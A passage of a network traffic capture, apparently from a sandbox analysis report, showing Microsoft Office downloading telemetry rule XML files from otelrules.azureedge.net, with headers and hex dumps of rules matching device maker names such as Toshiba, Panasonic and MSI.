45	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:14 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200514Z-1777c6cb754j8gqphC1TEB5bf80000000a0000000000bvkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:14 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:14 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:14 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200514Z-185f5d8b95csd4bwhC1NYCq7dc0000000ah0000000016290 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:14 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:14 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200515Z-1777c6cb754rz2pghC1TEBghen0000000a0000000000a6wc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:14 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 79192ebf-401e-0035-7e68-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200515Z-178bfbc474bbbqrhhC1NYCvw7400000000f000000000kb73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:14 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200515Z-1777c6cb7542p5p4hC1TEBq0980000000a30000000009f4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:17 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200517Z-1777c6cb754xjpthhC1TEBexs800000009wg00000000ftg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:17 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:16 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:17 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200517Z-r1d97b99577jlrkbhC1TEBq8d000000009ag000000000c8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:17 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:17 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:17 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200517Z-r1d97b9957747b9jhC1TEBgyec00000009g0000000006pqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:17 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200517Z-r1d97b99577mrt4rhC1TEBftkc000000096000000000gc4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:17 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:17 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200517Z-1777c6cb754whff4hC1TEBcd6c00000008s0000000007v6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:17 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:19 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200519Z-185f5d8b95c4vwv8hC1NYCy4v40000000avg00000000gu69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:19 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:19 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2db17697-001e-0017-3001-3b0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200519Z-r1d97b99577tssmjhC1TEB8kan00000009a0000000003rxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:19 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" 